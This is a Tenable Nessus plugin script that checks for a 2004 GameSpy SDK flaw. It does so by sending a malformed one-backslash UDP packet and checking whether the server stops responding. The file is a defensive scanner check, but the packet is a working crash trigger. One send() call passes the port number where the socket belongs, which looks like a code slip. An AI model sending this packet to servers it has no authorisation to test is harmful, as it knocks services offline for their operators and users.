| Source | Link |
|---|---|
| seclists | www.seclists.org/bugtraq/2004/Feb/624 |
#
# (C) Tenable Network Security, Inc.
#
include("compat.inc");
if (description)
{
script_id(12081);
script_version("1.15");
script_cvs_date("Date: 2018/11/15 20:50:21");
script_bugtraq_id(9741);
script_name(english:"GameSpy SDK Malformed \query\ Request Overflow DoS");
script_summary(english:"Disables the remote GameSpy Server");
script_set_attribute(attribute:"synopsis", value:
"The remote server is affected by a denial of service vulnerability.");
script_set_attribute(attribute:"description", value:
"The remote GameSpy server could be disabled by sending a malformed
packet. An attacker could exploit this flaw to crash the affected
application.");
script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2004/Feb/624");
script_set_attribute(attribute:"solution", value:"Filter incoming traffic to this port, or disable this service");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2004/02/25");
script_set_attribute(attribute:"plugin_publication_date", value:"2004/02/26");
script_set_attribute(attribute:"potential_vulnerability", value:"true");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_category(ACT_DENIAL);
script_copyright(english:"This script is Copyright (C) 2004-2018 Tenable Network Security, Inc.");
script_family(english:"Denial of Service");
script_dependencies("gamespy_detect.nasl");
script_require_keys("Services/udp/gamespy", "Settings/ParanoidReport");
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
if (report_paranoia < 2) audit(AUDIT_PARANOID);
port = get_kb_item_or_exit("Services/udp/gamespy");
port = int(port);
if (!get_udp_port_state(port)) audit(AUDIT_PORT_CLOSED, port, "UDP");
soc = open_sock_udp(port);
if (!soc) audit(AUDIT_SOCK_FAIL, port, "UDP");
send(socket:soc, data:string("\\players\\rules\\status\\packets\\"));
r = recv(socket:soc, length:4096, timeout:2);
close(soc);
if(strlen(r) > 0)
{
soc = open_sock_udp(port);
send(socket:port, data:"\\");
r = recv(socket:soc, length:4096, timeout:2);
close(soc);
if ( ! strlen(r) )
{
soc = open_sock_udp(port);
send(socket:soc, data:string("\\players\\rules\\status\\packets\\"));
r = recv(socket:soc, length:4096, timeout:2);
close(soc);
if ( ! strlen(r) ) security_warning(port:port, proto:"udp");
}
}
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